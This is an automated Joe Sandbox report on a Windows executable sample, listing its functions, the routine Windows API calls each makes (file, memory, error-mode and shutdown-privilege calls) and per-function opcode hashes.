Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction ID: 20d0a63744b7af467993d3e8aec565234b7be2d060ba20bf9fd199bb98bd5a4e
Opcode Fuzzy Hash: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
Instruction Fuzzy Hash: 8251D12294D2910FC7126B7849685A53FE0FE5331132E92FBC5C1AB1A3D27CA847D35B

Function 00401FD4 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017

Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

Function 00406FA0 Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406FAA
LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568

Function 0040766C Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021B03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

Function 0040762C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB

Function 004075C4 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021B03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Function 00405280 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004053B6), ref: 0040529F

Part of subcall function 00404CDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CF9

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction ID: b95c725f163960c8622ba1b0af82130980b93a97e76f79286a035b518bc8de08
Opcode Fuzzy Hash: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction Fuzzy Hash: 90314F75E01509ABCB00DF95C8C19EEB379FF84304F158577E815BB286E739AE068B98

Function 00407576 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Function 00407578 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Function 004069DC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428

Function 004076C8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021B03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676

Function 00407284 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
Opcode Fuzzy Hash: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F

Function 004076AC Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,021C8000,0040AA59,00000000), ref: 004076B3

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,021B03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666

Function 00406FFB Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519

Function 00407017 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B

Function 00406970 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction Fuzzy Hash:

Function 00407F10 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction ID: 1e7236936b067224bcb0a7c190bcfb18a105a15b1652d3161176e1d0ad605fa4
Opcode Fuzzy Hash: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction Fuzzy Hash: 43116371A042059BDB00EF19C881B5B7794AF44359F05807AF958AB2C6DB38E800CBAA

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Function 00407548 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00407558

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D

Function 00407EB8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654

Non-executed Functions

Function 00409448 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00409457
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 0040949D
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004094A2
ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3

Strings

SeShutdownPrivilege, xrefs: 0040946F

Memory Dump Source

Source File: 00000000.00000002.2928176733.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2928139024.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928211787.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2928242616.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F

Function 00409C34 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

